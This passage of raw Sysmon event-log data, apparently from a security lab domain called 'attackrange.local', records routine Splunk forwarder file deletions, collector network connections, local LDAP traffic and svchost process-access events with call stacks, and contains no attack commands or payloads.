Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F936F0BDA88E9B1F34FAAC39F5A267E6,SHA256=407322A0A0C85D933A5EA76DB6B61521AC723B244C0D6678828CC555B7832854,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015040Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:58.269{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3905C078F7474DE25209A32084BF7BBE,SHA256=DF98970CA0233EA02AA92D3D4806B1D173075115CBA55EF5033E7F1EE9767A32,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015042Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:57.453{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50198-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015041Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:59.300{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A5A6EAC8298A32F77837ADA5B0210F4,SHA256=54E05D59A05CC6BAE422B65C10F2D9C7F749A47BC4E244FE8CEF4FCB0FFDB032,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:57.566{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59388-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000047384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:57.566{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59388-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000047383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:59.331{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=388D3099F568764AEC8E4B82515CBA80,SHA256=C31C78E61C91F788FAF0792D0032847E50EAA1DCCEB20C0AE9D67F7BDEDE3E32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:59.269{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=93298C4AAAFEE44C58F03DDA8BF52CF6,SHA256=6495B3623A529FAAC505B3DEB993D2B65411B5570FF8B03847F92307ACFE1A88,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:59.269{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B8C23ECFDFECF6051A5ABEC93AA6A03C,SHA256=65CBE996DD17DD2A12483406962EF37BEE8F0A77CE1C0FE2457939CF62826D66,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:00.363{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C3F3245911E2B3C9318A962B390A6FE,SHA256=CFF594B5DC9DE4716F3BF3958775E6E1187653113FB3207172BAFF2FFC07F373,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015044Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:00.837{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-036MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015043Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:00.315{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F8CAF41E19D64D4D61E04732CC212E3,SHA256=AFA0800A8FF8571782B8BA8C0D1C2BCFE614A428A579074EA0A315ECCBF118C8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:01.409{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=86675B68CF282056E6EB2703A1768F7C,SHA256=366C7EED9850E340160805EC586E55F637F57A10F8D84F9CED7FD2E0D2A7BDBF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015046Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:01.844{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-037MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015045Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:01.329{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=428687B5C3529999956497CB214E4BFC,SHA256=4E9360CBA708A58CAD74E4ED34BE5F82FB15CE4963DFA18165222AE9DADB8A03,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:59.378{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59389-false10.0.1.12-8000- 23542300x800000000000000047388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:02.425{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF7F219F8F855624C05AF9DBDB128108,SHA256=B5AED2D479FE998E726A18D06EEA8101BAED86B42A6D1CC67207C334B70187F5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015048Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:02.374{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0A59BA240A342883AB11A238C4D51E1,SHA256=769DF86692DB7F58456EF6669175544C91E3E12C69DCC9B7CEF74ECE22DCDD34,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015047Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:02.247{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=EEDCE3E424491F348E59AE2369AFC96B,SHA256=8E3E3AB1689154AA52D0895EDE2DA8A09F9CDA199F19FEABB665F8386F1ADF8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:03.456{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53450A78DA488AE9EA4FDEA5B04D0752,SHA256=5950A723B27A383C86B22B4E7D64AEE3E485AEA51E733F19AA088AEA40154FCA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015049Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:03.390{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFBDA06059B4CF8FFC82EBDF1D8CD7B9,SHA256=41FA79BB682B3F46DEB706FE2CE4A277B36D5772453E41A5C6D83DD797CF1ABB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015050Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:04.452{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C5C53E3ACAF266374DA7F72DE334799,SHA256=7CA5CA19546ECC7E0E51701BF69B919F007686F3C390CEAF17F9717FFBA43014,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:04.472{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC5C190C74161C721B38866D8A22F1D6,SHA256=3E908315FC3D34D2DEDAA3545E043414E42E5C917399867536216912495DA1C4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:05.488{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A034EAB3D59CC3D87FB5E11D6EFAE7A0,SHA256=E31F2C5F46B388CD354FD1134758449189A840EA3AC53614587B9C5BCF1E5415,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015052Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:03.465{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50199-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015051Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:05.468{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=864F5C9B71C420BD56ED002DA5B93803,SHA256=07D92B8DB303DE4D24EB37CA1DAB734271A5430F999C1FA2BAE331B7B9106495,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:06.488{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E80EEFD8D479976BFB2105F20922593,SHA256=4960CC8147EC45C4FF468751E0FE568CAFA0E1BE7FFEE98F8E00C6881532EEEC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015053Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:06.531{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F57BE5CED39F36FA9D49F354D8C7DA75,SHA256=31F44F8293F29DD8A93A1BBDDB8898F2333B7427B1816FB05914BA21C3962272,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:04.518{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59390-false10.0.1.12-8000- 23542300x800000000000000047394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:07.519{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=814B78557BACDFF9FBAAC5284CF32358,SHA256=FD81CF805DAB40FA7B1C4EBEBBB0487C4E7ADEC7D4D2CC9334ED65545ED1071B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015054Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:07.546{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACD54B783CB103F5B0EF17090F935020,SHA256=D7D37EB74AE124FAFA27CA8AD87CC75C2BBF9FC99080160FD60B9BE3D3AFB41D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015055Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:08.562{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D25ADD1B702869F2E7A613B7A0A7E48C,SHA256=EA2EBA774C694B6B02F67F42B76AC3E1E98D4B9FBEE673E8F23363D9D72C775B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 